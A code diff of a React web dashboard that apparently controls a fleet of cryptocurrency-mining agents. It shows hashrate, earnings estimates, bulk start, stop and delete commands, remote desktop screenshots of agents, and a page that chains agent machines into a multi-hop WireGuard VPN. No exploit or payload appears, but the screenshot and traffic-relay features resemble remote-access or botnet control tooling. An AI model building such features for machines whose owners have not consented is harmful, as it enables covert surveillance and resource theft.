const now = new Date().toLocaleTimeString();
setHashHistory((prev) => [...prev.slice(-59), { time: now, value: totalHashrate }]);
setAcceptHistory((prev) => [...prev.slice(-59), { time: now, value: acceptRate }]);
setCpuHistory((prev) => [...prev.slice(-59), { time: now, value: avgCpu }]);
setMemHistory((prev) => [...prev.slice(-59), { time: now, value: avgMem }]);
}, [totalHashrate, acceptRate, avgCpu, avgMem]);
const gpuVal = totalGPUHashrate > 0 ? totalGPUHashrate : previewDeck ? 48_500_000 : 0;
if (gpuVal > 0 || previewDeck) {
setGpuHistory((prev) => [...prev.slice(-59), { time: now, value: gpuVal }]);
}
}, [totalHashrate, acceptRate, avgCpu, avgMem, totalGPUHashrate, previewDeck]);
const hashChart = useMemo(
() => resolveChartSeries(hashHistory, 'hashrate', { tailValue: displayHashrate }),
[hashHistory, displayHashrate]
);
const acceptChart = useMemo(
() => resolveChartSeries(acceptHistory, 'accept', { tailValue: displayAccept }),
[acceptHistory, displayAccept]
);
const cpuChart = useMemo(
() => resolveChartSeries(cpuHistory, 'cpu', { tailValue: displayCpu }),
[cpuHistory, displayCpu]
);
const memChart = useMemo(
() => resolveChartSeries(memHistory, 'mem', { tailValue: displayMem }),
[memHistory, displayMem]
);
const gpuChart = useMemo(
() => resolveChartSeries(gpuHistory, 'gpu', { tailValue: totalGPUHashrate || 48_500_000 }),
[gpuHistory, totalGPUHashrate]
);
const estUsdDay = useMemo(() => {
const price = xmrPrice ?? SAMPLE_FLEET_PREVIEW.xmrPrice;
const xmr = previewDeck ? SAMPLE_FLEET_PREVIEW.xmrPerDay : estXmrDay;
return xmr != null ? xmr * price : null;
}, [previewDeck, estXmrDay, xmrPrice]);
const filteredAgents = useMemo(() => filterFleetAgents(agents, filters), [agents, filters]);
@@ -170,16 +239,16 @@ export default function DashboardPage() {
);
const maxAgentHash = Math.max(...topAgents.map((a) => a.hashrate_15m), 1);
const activityItems = useMemo(
() =>
shares.slice(0, 12).map((s) => ({
id: String(s.id ?? `${s.agent_id}-${s.hash}`),
label: s.accepted ? 'OK' : 'BAD',
ok: s.accepted,
time: s.timestamp ? new Date(s.timestamp).toLocaleTimeString() : undefined,
})),
[shares]
);
const activityItems = useMemo(() => {
const live = shares.slice(0, 12).map((s) => ({
id: String(s.id ?? `${s.agent_id}-${s.hash}`),
label: s.accepted ? 'OK' : 'BAD',
ok: s.accepted,
time: s.timestamp ? new Date(s.timestamp).toLocaleTimeString() : undefined,
}));
if (live.length > 0) return live;
return previewDeck ? SAMPLE_ACTIVITY : live;
}, [shares, previewDeck]);
const totalShareCount = agents.reduce((sum, a) => sum + a.shares_total, 0);
const alerts = fleetAlerts.length > 0 ? fleetAlerts : restAlerts;
@@ -250,22 +319,93 @@ export default function DashboardPage() {
const lanGroups = useMemo(() => groupBySubnet(agents), [agents]);
const platforms = useMemo(() => osArchBreakdown(agents), [agents]);
useEffect(() => {
if (!commandResults?.length || !screenshotWatchId.current) return;
const watch = screenshotWatchId.current;
for (const r of commandResults) {
if (r._seq <= screenshotSeqRef.current) continue;
if (r.agent_id !== watch || r.action !== 'screenshot') continue;
screenshotSeqRef.current = r._seq;
screenshotWatchId.current = null;
const label = agents.find((a) => a.id === watch)?.name ?? watch.slice(0, 8);
if (r.success && r.message) {
const ok = downloadScreenshotFromBase64(sanitizeScreenshotBase64(r.message), label);
if (!ok) alert(`Screenshot from ${label} failed — empty or invalid image.`);
} else {
alert(`Screenshot failed on ${label}: ${r.message ?? 'unknown error'}`);
}
break;
}
}, [commandResults, agents]);
const handleBulkAction = async (action: string) => {
let targetIds = [...selectedIds];
const ids = [...selectedIds];
if (ids.length === 0) return;
if (action === 'delete') {
if (!window.confirm(`Permanently remove ${ids.length} machine(s) from the fleet roster?`)) return;
setBulkBusy(true);
try {
await api.bulkDeleteAgents(ids);
setSelectedIds(new Set());
} catch (err) {
alert(err instanceof Error ? err.message : 'Bulk delete failed');
} finally {
setBulkBusy(false);
}
return;
}
let targetIds = ids;
if (action === 'restart_idle') {
targetIds = agents.filter((a) => selectedIds.has(a.id) && agentIsIdleMiner(a)).map((a) => a.id);
targetIds = agents.filter((a) => ids.includes(a.id) && agentIsIdleMiner(a)).map((a) => a.id);
if (targetIds.length === 0) {
alert('No selected online agents with idle hashrate.');
alert('No selected online agents with idle hashrate (< 100 H/s).');
return;
}
action = 'restart';
}
const onlineIds = targetIds.filter((id) => agents.find((a) => a.id === id)?.status === 'online');
if (onlineIds.length === 0) return;
if (action === 'stop' && !window.confirm(`Stop ${onlineIds.length} agent(s)?`)) return;
if (onlineIds.length === 0) {
alert('No online agents in selection.');
return;
}
if (action === 'screenshot') {
if (onlineIds.length !== 1) {
alert('Select exactly one online machine for screenshot.');
return;
}
const id = onlineIds[0];
screenshotWatchId.current = id;
if (commandResults?.length) {
screenshotSeqRef.current = commandResults[commandResults.length - 1]._seq;
}
setBulkBusy(true);
try {
const res = await api.sendAgentCommand(id, 'screenshot');
if (res.success === false) {
screenshotWatchId.current = null;
alert(res.error ?? 'Screenshot command rejected');
}
} catch (err) {
screenshotWatchId.current = null;
alert(err instanceof Error ? err.message : 'Screenshot failed');
} finally {
setBulkBusy(false);
}
return;
}
if (action === 'stop' && !window.confirm(`Stop miner on ${onlineIds.length} agent(s)?`)) return;
setBulkBusy(true);
try {
await api.sendBulkCommand(onlineIds, action);
const result = await api.sendBulkCommand(onlineIds, action);
if (result.failed > 0) {
alert(`Sent to ${result.sent}, failed on ${result.failed} agent(s).`);
}
} catch (err) {
console.error(err);
alert(err instanceof Error ? err.message : 'Bulk command failed');
@@ -274,17 +414,20 @@ export default function DashboardPage() {
}
};
const setupStatus = getSetupStatus(calibrateConfig);
return (
<div className="page fade-in command-deck">
<SetupBanner status={setupStatus} />
<AlertBanner alerts={alerts} />
{/* Fleet Health — always above the fold */}
<FleetHealthCard health={fleetHealth} />
<header className="deck-hero">
{previewDeck && (
<p className="preview-deck-hint font-tech" role="status">
Projection mode charts validated with sample telemetry until your fleet connects
</p>
)}
<header className="deck-hero wealth-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">PERSONAL NETWORK · LIVE TELEMETRY</p>
<h1>Command Deck</h1>
@@ -318,6 +461,33 @@ export default function DashboardPage() {
</div>
</header>
<div className="deck-wealth-strip" aria-label="Fleet yield snapshot">
<div className="deck-wealth-pill">
<div className="dwp-label">Fleet Hash</div>
<div className="dwp-value mint">{formatHashrate(displayHashrate)}</div>
<div className="dwp-sub">15m rolling</div>
</div>
<div className="deck-wealth-pill">
<div className="dwp-label">Est. Daily</div>
<div className="dwp-value mint">
{estUsdDay != null ? `$${estUsdDay.toFixed(2)}` : '—'}
</div>
<div className="dwp-sub">{previewDeck ? 'projection' : 'from live hashrate'}</div>
</div>
<div className="deck-wealth-pill">
<div className="dwp-label">Accept</div>
<div className="dwp-value">{displayAccept.toFixed(1)}%</div>
<div className="dwp-sub">share quality</div>
</div>
<div className="deck-wealth-pill">
<div className="dwp-label">Nodes Live</div>
<div className="dwp-value">
{displayOnline}/{displayAgentTotal}
</div>
<div className="dwp-sub">{displayOnlinePct.toFixed(0)}% online</div>
</div>
</div>
<NeonCard accent="green" className="section" hud>
<h2 className="section-title font-display" style={{ marginBottom: '0.25rem' }}>
<span className="section-ornament"></span> Fleet Pipeline
@@ -338,8 +508,8 @@ export default function DashboardPage() {
<section className="gauge-row">
<NeonCard accent="cyan" className="gauge-card" hud>
<GaugeRing
value={totalHashrate}
max={Math.max(totalHashrate * 1.2, 1000)}
value={displayHashrate}
max={Math.max(displayHashrate * 1.2, 1000)}
label="Fleet Hash"
sublabel="15m avg"
color="var(--neon-cyan)"
@@ -347,32 +517,52 @@ export default function DashboardPage() {
/>
</NeonCard>
<NeonCard accent="green" className="gauge-card" hud>
<GaugeRing value={onlinePct} label="Online" sublabel={`${onlineCount}/${agents.length}`} color="var(--neon-green)" size={110} />
<GaugeRing
value={displayOnlinePct}
label="Online"
sublabel={`${displayOnline}/${displayAgentTotal}`}
color="var(--neon-green)"
size={110}
/>
</NeonCard>
<NeonCard accent="purple" className="gauge-card" hud>
<GaugeRing value={acceptRate} label="Accept" sublabel="share rate" color="var(--neon-purple)" size={110} />
<GaugeRing value={displayAccept} label="Accept" sublabel="share rate" color="var(--neon-purple)" size={110} />
</NeonCard>
<NeonCard accent="amber" className="gauge-card" hud>
<GaugeRing value={avgCpu} label="CPU" sublabel={`RAM ${avgMem.toFixed(0)}%`} color="var(--neon-amber)" size={110} />
<GaugeRing
value={displayCpu}
label="CPU"
sublabel={`RAM ${displayMem.toFixed(0)}%`}
color="var(--neon-amber)"
size={110}
/>
</NeonCard>
</section>
<div className="grid-4 stats-grid steampunk-stats">
<NeonCard accent="cyan" className="stat-card-wrap">
<NeonCard accent="cyan" className="stat-card-wrap wealth-stat">
<div className="stat-label font-tech">Total Hashrate</div>
<div className="stat-value hashrate neon-glow-cyan">{formatHashrate(totalHashrate)}</div>
<div className="stat-sub">{onlineCount} engines firing</div>
<div className="stat-value hashrate neon-glow-cyan">{formatHashrate(displayHashrate)}</div>
<div className="stat-sub">{displayOnline} engines firing</div>
</NeonCard>
<EarningsEstimator hashrate={totalHashrate} xmrPrice={xmrPrice} />
<NeonCard accent="green" className="stat-card-wrap">
{previewDeck ? (
<WealthEarningsPreview xmrPrice={xmrPrice} />
) : (
<EarningsEstimator hashrate={totalHashrate} xmrPrice={xmrPrice} />
)}
<NeonCard accent="green" className="stat-card-wrap wealth-stat">
<div className="stat-label font-tech">Fleet Online</div>
<div className="stat-value accepted">{onlineCount} <span className="stat-dim">/ {agents.length}</span></div>
<div className="stat-sub">{agents.length - onlineCount} dormant</div>
<div className="stat-value accepted">
{displayOnline} <span className="stat-dim">/ {displayAgentTotal}</span>
</div>
<div className="stat-sub">{displayAgentTotal - displayOnline} dormant</div>
</NeonCard>
<NeonCard accent="purple" className="stat-card-wrap">
<NeonCard accent="purple" className="stat-card-wrap wealth-stat">
<div className="stat-label font-tech">Accept Rate</div>
<div className="stat-value neon-glow-purple">{acceptRate.toFixed(1)}%</div>
<div className="stat-sub">{acceptedShares} valid · {rejectedShares} rejected</div>
<div className="stat-value neon-glow-purple">{displayAccept.toFixed(1)}%</div>
<div className="stat-sub">
{previewDeck ? 'sample pool quality' : `${acceptedShares} valid · ${rejectedShares} rejected`}
</div>
</NeonCard>
<NeonCard accent="amber" className="stat-card-wrap">
<div className="stat-label font-tech">Resources</div>
@@ -622,7 +812,12 @@ export default function DashboardPage() {
)}
{/* ── Analytics row — always visible ─────────────────────────────────── */}
<ContributionBars bars={contribs} xmrPrice={xmrPrice} />
<ContributionBars
bars={contribs.length > 0 ? contribs : previewDeck ? SAMPLE_CONTRIBUTION_BARS : []}
sample={previewDeck && contribs.length === 0}
xmrPerDay={previewDeck ? SAMPLE_FLEET_PREVIEW.xmrPerDay : undefined}
xmrPrice={xmrPrice}
/>
<UnderperformerList underperformers={underperformers} medianHashrate={medianHash} />
{(platforms.length > 0 || lanGroups.length > 1) && (
<div className="grid-2" style={{ gap: '1rem', marginTop: '1rem' }}>
@@ -639,33 +834,74 @@ export default function DashboardPage() {
<Suspense fallback={<ChartPlaceholder height={300} />}>
<div className="grid-2 chart-row">
<NeonCard accent="cyan" tilt3d>
<HashrateChart data={hashHistory} title="Fleet Hashrate Wave" color="#00f5ff" unit="H/s" height={300} />
<HashrateChart
data={hashChart.data}
displayMode={hashChart.mode}
title="Fleet Hashrate Wave"
color="#00f5ff"
unit="H/s"
height={300}
/>
</NeonCard>
<NeonCard accent="purple" tilt3d>
<HashrateChart data={acceptHistory} title="Accept Rate Pulse" color="#a855f7" unit="%" height={300} />
<HashrateChart
data={acceptChart.data}
displayMode={acceptChart.mode}
title="Accept Rate Pulse"
color="#a855f7"
unit="%"
height={300}
/>
</NeonCard>
</div>
</Suspense>
{advancedMode && (
{(hasGPUMining || previewDeck) && (
<Suspense fallback={<ChartPlaceholder height={220} />}>
<div className="grid-2 chart-row">
<NeonCard accent="magenta" tilt3d>
<HashrateChart data={cpuHistory} title="CPU Pressure" color="#ff2da6" unit="%" height={220} />
</NeonCard>
<NeonCard accent="brass" tilt3d>
<HashrateChart data={memHistory} title="Memory Load — Fleet Average" color="#ffb020" unit="%" height={220} />
</NeonCard>
</div>
<NeonCard accent="gold" tilt3d className="chart-row" style={{ marginTop: '1rem' }}>
<HashrateChart
data={gpuChart.data}
displayMode={gpuChart.mode}
title="GPU Hash Vault (KawPoW)"
color="#e8c547"
unit="H/s"
height={220}
/>
</NeonCard>
</Suspense>
)}
<Suspense fallback={<ChartPlaceholder height={220} />}>
<div className="grid-2 chart-row">
<NeonCard accent="magenta" tilt3d>
<HashrateChart
data={cpuChart.data}
displayMode={cpuChart.mode}
title="CPU Pressure"
color="#ff2da6"
unit="%"
height={220}
/>
</NeonCard>
<NeonCard accent="brass" tilt3d>
<HashrateChart
data={memChart.data}
displayMode={memChart.mode}
title="Memory Load — Fleet Average"
color="#ffb020"
unit="%"
height={220}
/>
</NeonCard>
</div>
</Suspense>
<NeonCard accent="purple" className="section" hud>
<h2 className="section-title font-display">
<span className="section-ornament"></span> Share Activity Pulse
<span className="section-line" />
</h2>
<ActivityPulse items={activityItems} />
<ActivityPulse items={activityItems} sample={previewDeck && shares.length === 0} />
</NeonCard>
<section className="section">
@@ -768,6 +1004,13 @@ export default function DashboardPage() {
</NeonCard>
)}
</div>
{filteredAgents.length > 12 && (
<div style={{ textAlign: 'center', marginTop: '1rem' }}>
<Link to="/agents" className="btn btn-outline btn-sm font-tech">
View all {filteredAgents.length} agents
</Link>
</div>
)}
</section>
{advancedMode && (
<section className="section">

View File

@@ -1092,6 +1092,30 @@
.gauge-row {
grid-template-columns: 1fr;
}
.page {
max-width: 100%;
overflow-x: hidden;
}
.deck-grid,
.agents-page-layout,
.settings-grid {
grid-template-columns: 1fr !important;
}
.agent-list-item .agent-list-header {
flex-wrap: wrap;
gap: 0.35rem;
}
.deliverable-grid {
grid-template-columns: 1fr !important;
}
.forge-rules-grid {
grid-template-columns: 1fr;
}
}
/* ── Forge guardrails ── */

View File

@@ -0,0 +1,448 @@
/* ── Path Tracer ─────────────────────────────────────────────── */
.pathtrace-page {
padding: 1.5rem;
max-width: 1200px;
margin: 0 auto;
display: flex;
flex-direction: column;
gap: 1.5rem;
}
/* ── Header ─────────────────────────────────────────────────── */
.pt-header {
display: flex;
align-items: flex-end;
gap: 1.2rem;
}
.pt-title {
font-size: 1.5rem;
font-weight: 700;
letter-spacing: 0.15em;
text-transform: uppercase;
color: var(--accent-primary, #00ffaa);
font-family: var(--font-tech, monospace);
text-shadow: 0 0 18px #00ffaa88;
}
.pt-subtitle {
font-size: 0.75rem;
color: var(--text-muted, #667);
font-family: var(--font-tech, monospace);
letter-spacing: 0.08em;
padding-bottom: 0.15rem;
}
/* ── Layout ──────────────────────────────────────────────────── */
.pt-body {
display: grid;
grid-template-columns: 1fr 340px;
gap: 1.5rem;
}
@media (max-width: 900px) {
.pt-body { grid-template-columns: 1fr; }
}
/* ── Agent grid ──────────────────────────────────────────────── */
.pt-agent-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(200px, 1fr));
gap: 0.75rem;
}
.pt-agent-card {
background: rgba(0, 255, 170, 0.04);
border: 1px solid rgba(0, 255, 170, 0.12);
border-radius: 8px;
padding: 0.85rem 1rem;
cursor: pointer;
transition: all 0.15s ease;
position: relative;
user-select: none;
}
.pt-agent-card:hover {
background: rgba(0, 255, 170, 0.08);
border-color: rgba(0, 255, 170, 0.3);
}
.pt-agent-card.selected {
background: rgba(0, 255, 170, 0.14);
border-color: #00ffaa;
box-shadow: 0 0 12px #00ffaa33;
}
.pt-agent-card.offline {
opacity: 0.4;
cursor: not-allowed;
background: rgba(255, 255, 255, 0.02);
border-color: rgba(255, 255, 255, 0.07);
}
.pt-agent-card-order {
position: absolute;
top: 6px;
right: 8px;
font-size: 0.65rem;
font-family: var(--font-tech, monospace);
color: #000;
background: #00ffaa;
border-radius: 50%;
width: 18px;
height: 18px;
display: flex;
align-items: center;
justify-content: center;
font-weight: 700;
}
.pt-agent-name {
font-size: 0.8rem;
font-weight: 600;
color: var(--text-primary, #e0e0e0);
font-family: var(--font-tech, monospace);
letter-spacing: 0.04em;
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
margin-bottom: 0.25rem;
}
.pt-agent-ip {
font-size: 0.7rem;
color: #00ffaa99;
font-family: monospace;
}
.pt-agent-status-dot {
display: inline-block;
width: 6px;
height: 6px;
border-radius: 50%;
margin-right: 5px;
}
.pt-agent-status-dot.online { background: #00ffaa; box-shadow: 0 0 5px #00ffaa; }
.pt-agent-status-dot.offline { background: #555; }
/* ── Chain visualizer ────────────────────────────────────────── */
.pt-sidebar {
display: flex;
flex-direction: column;
gap: 1rem;
}
.pt-chain-panel {
background: rgba(0, 0, 0, 0.35);
border: 1px solid rgba(0, 255, 170, 0.14);
border-radius: 10px;
padding: 1rem;
display: flex;
flex-direction: column;
gap: 0.75rem;
}
.pt-chain-title {
font-size: 0.65rem;
letter-spacing: 0.12em;
text-transform: uppercase;
color: #00ffaa88;
font-family: var(--font-tech, monospace);
margin-bottom: 0.25rem;
}
.pt-chain-empty {
font-size: 0.72rem;
color: #444;
font-family: var(--font-tech, monospace);
text-align: center;
padding: 1rem 0;
}
.pt-chain-row {
display: flex;
flex-direction: column;
gap: 0.2rem;
}
.pt-chain-hop {
display: flex;
align-items: center;
gap: 0.5rem;
}
.pt-chain-hop-badge {
width: 22px;
height: 22px;
border-radius: 50%;
background: #00ffaa22;
border: 1px solid #00ffaa55;
display: flex;
align-items: center;
justify-content: center;
font-size: 0.6rem;
font-family: var(--font-tech, monospace);
color: #00ffaa;
flex-shrink: 0;
}
.pt-chain-hop-name {
font-size: 0.72rem;
color: #ccc;
font-family: var(--font-tech, monospace);
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
}
.pt-chain-arrow {
font-size: 0.65rem;
color: #00ffaa55;
padding-left: 10px;
}
/* Status badges */
.pt-hop-status {
font-size: 0.6rem;
font-family: var(--font-tech, monospace);
padding: 1px 5px;
border-radius: 3px;
text-transform: uppercase;
letter-spacing: 0.08em;
flex-shrink: 0;
margin-left: auto;
}
.pt-hop-status.pending { background: rgba(255,200,0,0.15); color: #ffc800; border: 1px solid #ffc80033; }
.pt-hop-status.ready { background: rgba(0,255,170,0.15); color: #00ffaa; border: 1px solid #00ffaa33; }
.pt-hop-status.failed { background: rgba(255,80,80,0.15); color: #ff5050; border: 1px solid #ff505033; }
/* ── Action buttons ──────────────────────────────────────────── */
.pt-btn {
padding: 0.55rem 1.1rem;
border-radius: 6px;
font-size: 0.75rem;
font-family: var(--font-tech, monospace);
font-weight: 700;
letter-spacing: 0.1em;
text-transform: uppercase;
cursor: pointer;
transition: all 0.15s ease;
border: 1px solid transparent;
}
.pt-btn-primary {
background: linear-gradient(135deg, #00ffaa22, #00ffaa11);
border-color: #00ffaa;
color: #00ffaa;
text-shadow: 0 0 8px #00ffaa;
}
.pt-btn-primary:hover:not(:disabled) {
background: linear-gradient(135deg, #00ffaa44, #00ffaa22);
box-shadow: 0 0 14px #00ffaa44;
}
.pt-btn-primary:disabled {
opacity: 0.35;
cursor: not-allowed;
}
.pt-btn-danger {
background: rgba(255,80,80,0.1);
border-color: #ff5050;
color: #ff5050;
}
.pt-btn-danger:hover {
background: rgba(255,80,80,0.2);
}
.pt-btn-ghost {
background: transparent;
border-color: #444;
color: #888;
}
.pt-btn-ghost:hover {
border-color: #666;
color: #aaa;
}
.pt-actions {
display: flex;
gap: 0.5rem;
flex-wrap: wrap;
}
/* ── Error / status banner ───────────────────────────────────── */
.pt-error-banner {
background: rgba(255, 80, 80, 0.1);
border: 1px solid rgba(255,80,80,0.3);
border-radius: 6px;
padding: 0.6rem 0.9rem;
font-size: 0.72rem;
color: #ff5050;
font-family: var(--font-tech, monospace);
}
.pt-info-banner {
background: rgba(0, 200, 255, 0.07);
border: 1px solid rgba(0, 200, 255, 0.2);
border-radius: 6px;
padding: 0.6rem 0.9rem;
font-size: 0.72rem;
color: #00c8ff;
font-family: var(--font-tech, monospace);
}
/* ── QR Modal ────────────────────────────────────────────────── */
.pt-modal-backdrop {
position: fixed;
inset: 0;
background: rgba(0, 0, 0, 0.75);
backdrop-filter: blur(4px);
display: flex;
align-items: center;
justify-content: center;
z-index: 2000;
}
.pt-modal {
background: #0e1117;
border: 1px solid #00ffaa44;
border-radius: 14px;
box-shadow: 0 0 60px #00ffaa22;
padding: 2rem;
max-width: 520px;
width: 100%;
display: flex;
flex-direction: column;
gap: 1.2rem;
animation: pt-modal-in 0.2s ease;
}
@keyframes pt-modal-in {
from { opacity: 0; transform: scale(0.92) translateY(20px); }
to { opacity: 1; transform: scale(1) translateY(0); }
}
.pt-modal-title {
font-size: 1.1rem;
font-weight: 700;
letter-spacing: 0.12em;
text-transform: uppercase;
color: #00ffaa;
font-family: var(--font-tech, monospace);
text-shadow: 0 0 12px #00ffaa66;
}
.pt-qr-wrap {
display: flex;
justify-content: center;
padding: 0.5rem;
background: #000;
border-radius: 10px;
border: 1px solid #00ffaa33;
}
.pt-qr-img {
width: 260px;
height: 260px;
image-rendering: pixelated;
}
.pt-config-box {
background: rgba(0,0,0,0.5);
border: 1px solid #333;
border-radius: 6px;
padding: 0.75rem;
font-size: 0.65rem;
font-family: monospace;
color: #aaa;
white-space: pre;
max-height: 180px;
overflow: auto;
}
.pt-modal-actions {
display: flex;
gap: 0.6rem;
flex-wrap: wrap;
}
.pt-hint {
font-size: 0.65rem;
color: #555;
font-family: var(--font-tech, monospace);
text-align: center;
line-height: 1.5;
}
/* ── Section label ───────────────────────────────────────────── */
.pt-section-label {
font-size: 0.62rem;
letter-spacing: 0.14em;
text-transform: uppercase;
color: #00ffaa55;
font-family: var(--font-tech, monospace);
margin-bottom: 0.4rem;
}
.pt-section-panel {
background: rgba(0,0,0,0.25);
border: 1px solid rgba(0,255,170,0.08);
border-radius: 10px;
padding: 1rem;
}
/* Spinner */
.pt-spinner {
display: inline-block;
width: 14px;
height: 14px;
border: 2px solid #00ffaa33;
border-top-color: #00ffaa;
border-radius: 50%;
animation: pt-spin 0.6s linear infinite;
vertical-align: middle;
margin-right: 6px;
}
@keyframes pt-spin { to { transform: rotate(360deg); } }
@media (max-width: 768px) {
.pt-page {
padding: 0;
}
.pt-chain {
flex-direction: column;
align-items: stretch;
}
.pt-hop-card {
max-width: 100%;
}
.pt-modal-backdrop {
align-items: flex-end;
padding: 0.5rem;
}
.pt-modal {
max-width: 100%;
margin: 0;
border-radius: 14px 14px 0 0;
max-height: 90dvh;
overflow-y: auto;
}
.pt-qr-wrap img {
max-width: min(280px, 100%);
height: auto;
}
}

View File

@@ -0,0 +1,385 @@
import { useCallback, useEffect, useRef, useState } from 'react';
import { api } from '../api/client';
import { useWebSocket } from '../hooks/useWebSocket';
import type { Agent, PathTraceHop } from '../types';
import './PathTracerPage.css';
// ── types ─────────────────────────────────────────────────────────────────────
interface TraceStatus {
session_id: string;
ready: boolean;
error?: string;
hops: PathTraceHop[];
}
interface QRData {
config: string;
qr_png_b64: string;
}
// ── helpers ───────────────────────────────────────────────────────────────────
function HopStatusBadge({ status }: { status: PathTraceHop['status'] }) {
return <span className={`pt-hop-status ${status}`}>{status}</span>;
}
// ── QR Modal ──────────────────────────────────────────────────────────────────
function QRModal({
qr,
onClose,
onEnd,
}: {
qr: QRData;
onClose: () => void;
onEnd: () => void;
}) {
const [copied, setCopied] = useState(false);
const handleCopy = () => {
navigator.clipboard.writeText(qr.config).then(() => {
setCopied(true);
setTimeout(() => setCopied(false), 1500);
});
};
const handleDownload = () => {
const blob = new Blob([qr.config], { type: 'text/plain' });
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = 'pathtrace.conf';
a.click();
URL.revokeObjectURL(url);
};
return (
<div className="pt-modal-backdrop" onClick={(e) => e.target === e.currentTarget && onClose()}>
<div className="pt-modal">
<div className="pt-modal-title"> PATH TRACE ACTIVE</div>
<div className="pt-qr-wrap">
<img
className="pt-qr-img"
src={`data:image/png;base64,${qr.qr_png_b64}`}
alt="WireGuard QR"
/>
</div>
<p className="pt-hint">
Scan with the <strong>WireGuard</strong> app on your phone,<br />
or download the .conf file and import it.
</p>
<pre className="pt-config-box">{qr.config}</pre>
<div className="pt-modal-actions">
<button className="pt-btn pt-btn-primary" onClick={handleCopy}>
{copied ? '✓ Copied' : 'Copy Config'}
</button>
<button className="pt-btn pt-btn-ghost" onClick={handleDownload}>
Download .conf
</button>
<button
className="pt-btn pt-btn-danger"
onClick={() => { onEnd(); onClose(); }}
style={{ marginLeft: 'auto' }}
>
End Session
</button>
</div>
</div>
</div>
);
}
// ── main component ────────────────────────────────────────────────────────────
export default function PathTracerPage() {
const { agents: wsAgents } = useWebSocket();
const [restAgents, setRestAgents] = useState<Agent[]>([]);
const [selected, setSelected] = useState<string[]>([]); // ordered chain
const [loading, setLoading] = useState(false);
const [error, setError] = useState('');
const [sessionID, setSessionID] = useState('');
const [hops, setHops] = useState<PathTraceHop[]>([]);
const [tracing, setTracing] = useState(false);
const [qr, setQR] = useState<QRData | null>(null);
const [showQR, setShowQR] = useState(false);
const pollRef = useRef<ReturnType<typeof setInterval> | null>(null);
// Use WebSocket agents; fall back to REST on mount if WebSocket hasn't populated yet.
const agents = wsAgents.length > 0 ? wsAgents : restAgents;
useEffect(() => {
api.listAgents().then(setRestAgents).catch(() => {});
}, []);
// Stop polling on unmount.
useEffect(() => () => { if (pollRef.current) clearInterval(pollRef.current); }, []);
const toggleAgent = (id: string, offline: boolean) => {
if (offline) return;
if (tracing) return; // don't let selection change while tracing
setSelected((prev) => {
if (prev.includes(id)) return prev.filter((x) => x !== id);
if (prev.length >= 3) return prev; // max 3 hops
return [...prev, id];
});
};
const handleTrace = useCallback(async () => {
if (selected.length === 0) return;
setError('');
setLoading(true);
setTracing(true);
setHops([]);
setQR(null);
try {
const res = await api.startTrace(selected);
setSessionID(res.session_id);
setHops(res.hops);
startPolling(res.session_id);
} catch (e: unknown) {
setError(e instanceof Error ? e.message : 'Trace failed');
setTracing(false);
} finally {
setLoading(false);
}
}, [selected]);
const startPolling = (sid: string) => {
if (pollRef.current) clearInterval(pollRef.current);
pollRef.current = setInterval(async () => {
try {
const status: TraceStatus = await api.getTraceStatus(sid);
setHops(status.hops);
if (status.error) {
setError(status.error);
clearInterval(pollRef.current!);
pollRef.current = null;
setTracing(false);
return;
}
if (status.ready) {
clearInterval(pollRef.current!);
pollRef.current = null;
// Fetch QR.
const qrData = await api.getTraceQR(sid);
setQR(qrData);
setShowQR(true);
}
} catch {
// Ignore transient errors
}
}, 2000);
};
const handleEndSession = useCallback(async () => {
if (!sessionID) return;
try {
await api.deleteTrace(sessionID);
} catch {
// best-effort
}
if (pollRef.current) { clearInterval(pollRef.current); pollRef.current = null; }
setSessionID('');
setHops([]);
setTracing(false);
setQR(null);
setSelected([]);
setError('');
}, [sessionID]);
const isWindows = (a: Agent) =>
!!(a.platform?.toLowerCase().includes('win') || a.platform?.toLowerCase().includes('windows'));
const onlineAgents = agents.filter((a) => a.status === 'online');
const offlineAgents = agents.filter((a) => a.status !== 'online');
const allHopsReady = hops.length > 0 && hops.every((h) => h.status === 'ready');
return (
<div className="pathtrace-page">
{/* Header */}
<div className="pt-header">
<div>
<div className="pt-title"> Path Tracer</div>
<div className="pt-subtitle">
Build an on-demand multi-hop WireGuard VPN select up to 3 agents, click TRACE.
</div>
</div>
</div>
{error && <div className="pt-error-banner"> {error}</div>}
{tracing && !allHopsReady && !error && (
<div className="pt-info-banner">
<span className="pt-spinner" />
Orchestrating tunnel waiting for agents to configure WireGuard&hellip;
</div>
)}
<div className="pt-body">
{/* Left: agent selection */}
<div>
<div className="pt-section-label">
Online agents &mdash; click to add to chain (max 3)
</div>
<div className="pt-section-panel">
{onlineAgents.length === 0 && (
<div className="pt-chain-empty">No online agents found.</div>
)}
<div className="pt-agent-grid">
{onlineAgents.map((a) => {
const idx = selected.indexOf(a.id);
const isSelected = idx >= 0;
const winOnly = isWindows(a);
return (
<div
key={a.id}
className={`pt-agent-card${isSelected ? ' selected' : ''}`}
onClick={() => winOnly ? toggleAgent(a.id, false) : undefined}
title={!winOnly ? 'WireGuard Path Tracer requires a Windows agent' : undefined}
style={!winOnly ? { opacity: 0.5, cursor: 'not-allowed' } : undefined}
>
{isSelected && (
<span className="pt-agent-card-order">{idx + 1}</span>
)}
<div className="pt-agent-name">
<span className="pt-agent-status-dot online" />
{a.name}
</div>
<div className="pt-agent-ip">{a.ip || '—'}</div>
{!winOnly && (
<div style={{ fontSize: '0.6rem', color: '#ff8800', fontFamily: 'monospace', marginTop: '0.15rem' }}>
non-Windows
</div>
)}
</div>
);
})}
{offlineAgents.map((a) => (
<div key={a.id} className="pt-agent-card offline">
<div className="pt-agent-name">
<span className="pt-agent-status-dot offline" />
{a.name}
</div>
<div className="pt-agent-ip">offline</div>
</div>
))}
</div>
</div>
</div>
{/* Right: chain + controls */}
<div className="pt-sidebar">
{/* Chain visualizer */}
<div className="pt-chain-panel">
<div className="pt-chain-title">VPN Chain</div>
{selected.length === 0 ? (
<div className="pt-chain-empty">No hops selected yet.</div>
) : (
<div className="pt-chain-row">
{/* Phone icon */}
<div className="pt-chain-hop" style={{ marginBottom: '0.15rem' }}>
<span style={{ fontSize: '0.7rem', color: '#888', fontFamily: 'monospace' }}>
📱 Your Phone
</span>
</div>
{selected.map((id, i) => {
const agent = agents.find((a) => a.id === id);
const hop = hops.find((h) => h.agent_id === id);
return (
<div key={id}>
<div className="pt-chain-arrow"></div>
<div className="pt-chain-hop">
